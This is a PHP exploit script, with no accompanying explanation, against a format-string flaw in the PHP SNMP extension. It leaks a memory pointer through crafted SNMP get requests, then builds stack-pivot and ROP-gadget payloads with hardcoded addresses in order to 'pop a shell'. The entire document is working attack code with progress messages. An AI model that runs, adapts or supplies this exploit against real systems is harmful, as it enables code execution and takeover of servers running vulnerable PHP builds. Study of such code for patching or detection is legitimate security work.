|
<?php
function trigger(&$format_string) {
$session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");
$session->exceptions_enabled = SNMP::ERRNO_ANY;
try {
$session->get($format_string);
} catch (SNMPException $e) {
return $e->getMessage();
}
}
function overwrite($which, $str, $offset) {
global $payload_1, $payload_2;
for($c=0; $c<strlen($str); $c++) {
switch($which) {
case 1:
$payload_1[$offset + $c] = $str[$c];
break;
case 2:
$payload_2[$offset + $c] = $str[$c];
break;
}
}
}
echo "> Setting up payloads\n";
$stack_pivot_1 = pack("L", 0x0807c19f);
$stack_pivot_2 = pack("L", 0x0809740e);
$leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";
$trampoline_offset = strlen($leak_str);
$payload_1 =
$leak_str .
"XXXX" .
$stack_pivot_1 .
pack("L", 0x080f0bb7) .
pack("L", 0x0814491f) .
pack("L", 0x0806266d) .
pack("L", 0x084891fd) .
pack("L", 0x0807114c) .
pack("L", 0xfffffff5) .
pack("L", 0x081818de) .
pack("L", 0x081b5faa);
$payload_2 =
"XXXX" .
"XXXX" .
"\x08X" .
str_repeat("%d", 13) . "%Z";
echo "> Attempting to leak a pointer\n";
$data = trigger($payload_1);
$trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;
echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n";
if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false
|| strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {
echo "> That pointer has a bad character in it\n";
echo "> This won't work. Bailing out... :(\n";
exit(0);
}
echo "> Overwriting payload with calculated offsets\n";
overwrite(2, pack("L", $trampoline_ptr - 0x10), 0);
overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);
echo "> Attempting to pop a shell\n";
trigger($payload_2);
echo "> Exploit failed :(\n";
|